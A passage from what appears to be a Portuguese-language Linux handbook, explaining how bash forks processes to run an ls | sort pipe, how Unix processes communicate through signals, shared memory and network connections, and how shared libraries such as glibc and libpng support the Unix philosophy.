O shell primeiro interpreta o comando digitado nele. No nosso caso, ele entende que existem dois programas (ls e sort), com um fluxo de dados que flui de um para o outro (denotado pelo caractere |, conhecido como pipe). O bash primeiro cria um pipe sem nome (que inicialmente só existe dentro do processo bash em si).

Então o shell se clona; isso leva a um novo processo bash com pid #4521 (pids são números abstratos e geralmente não têm significado particular). O processo #4521 herda o pipe, o que significa que é capaz de escrever em seu lado de "entrada"; o bash redireciona seu fluxo de saída padrão para a entrada deste pipe. Em seguida, ele executa (e substitui-se com) o ls do programa, que lista o conteúdo do diretório atual. Como o ls escreve em sua saída padrão, e anteriormente se direcionou esta saída, seus resultados são efetivamente enviados para o pipe.

Uma operação similar acontece para o segundo comando: obash se clona novamente, levando a um novo processo bash com pid #4522. Como também é um processo filho do #4374, também herda o pipe; em seguida o bash conecta sua entrada padrão com a saída do pipe, então executa (e substitui a si mesmo com) o comando sort, que classifica sua entrada e exibe os resultados.

Todas as peças do quebra-cabeça agora estão definidas: o ls lê o diretório atual e escreve a lista de arquivos dentro do pipe; o sort lê esta lista, classifica-a em ordem alfabética e exibe os resultados. Os processos números #4521 e #4522 encerram, e o #4374 (que estava esperando por eles durante a operação), retoma o controle e exibe o prompt permitindo que o usuário digite um novo comando.

No entanto, nem todas as comunicações entre processos são usadas para mover dados. Em muitas situações, a única informação que deve ser transmitida são mensagens de controle tais como "execução em pausa" ou "retomar execução". O Unix (e Linux) fornece um mecanismo conhecido como sinais, através do qual um processo pode simplesmente enviar um sinal específico (escolhido dentro de uma lista pré-definida de sinais) para outro processo. O único requisito é saber o pid do alvo.

Para comunicações mais complexas também existem mecanismos que permitem que um processo abra o acesso, ou compartilhe, parte da memória alocada para outros processos. A memória agora compartilhada entre eles pode ser usada para mover dados entre os processos.

Finalmente, as conexões de rede também podem ajudar a comunicação de processos; esses processos podem até ser executados em diferentes computadores, possivelmente a milhares de quilômetros de distância.

É bastante normal para um típico sistema similar ao Unix fazer uso de todos esses mecanismos em vários graus.

B.5.4. Bibliotecas

Bibliotecas de funções desempenham um papel crucial em um sistema operacional similar ao Unix. Elas não são programas propriamente ditos, uma vez que não podem ser executadas por si próprias, mas coleções de fragmentos de código que podem ser utilizados pelos programas normais. Entre as bibliotecas comuns, você pode encontrar:

a biblioteca padrão C (glibc), que contém as funções básicas como aquelas para abrir arquivos ou conexões de rede, e outras que facilitam as interações com o kernel;

toolkits gráficos, como Gtk+ e Qt, permitindo que muitos programas reutilizem os objetos gráficos que eles fornecem;

a biblioteca libpng, que permite carregar, interpretar e salvar imagens no formato PNG.

Graças a essas bibliotecas, as aplicações podem reutilizar o código existente. O desenvolvimento de aplicações é simplificado já que muitas aplicações podem reutilizar as mesmas funções. Como as bibliotecas são geralmente desenvolvidas por pessoas diferentes, o desenvolvimento global do sistema está mais perto da filosofia histórica do Unix.

CULTURA O Estilo Unix: uma coisa de cada vez

Um dos conceitos fundamentais da família de sistemas operacionais Unix é que cada ferramenta deve fazer uma coisa, e fazê-lo bem; aplicações podem reutilizar essas ferramentas para criar uma lógica mais avançada sobre elas. Essa filosofia pode ser vista em muitas encarnações. Shell scripts podem ser o melhor exemplo: eles montam sequências complexas de ferramentas muito simples (como grep, wc, sort, uniq e assim por diante). Outra implementação dessa filosofia pode ser vista em bibliotecas de código: a biblioteca libpng permite ler e escrever imagens PNG, com diferentes opções e de maneiras diferentes, mas ela faz só isso; nenhuma questão de incluir funções que exibem ou editam imagens.

Além disso, essas bibliotecas muitas vezes são chamadas de "bibliotecas compartilhadas", já que o núcleo pode carregá-las apenas uma vez para a memória, mesmo se vários processos utilizam a mesma biblioteca ao mesmo tempo. Isso permite economia de memória, quando comparado com a situação oposta (hipotética), onde o código para uma biblioteca seria carregado tantas vezes quantos os processos que a utilizam.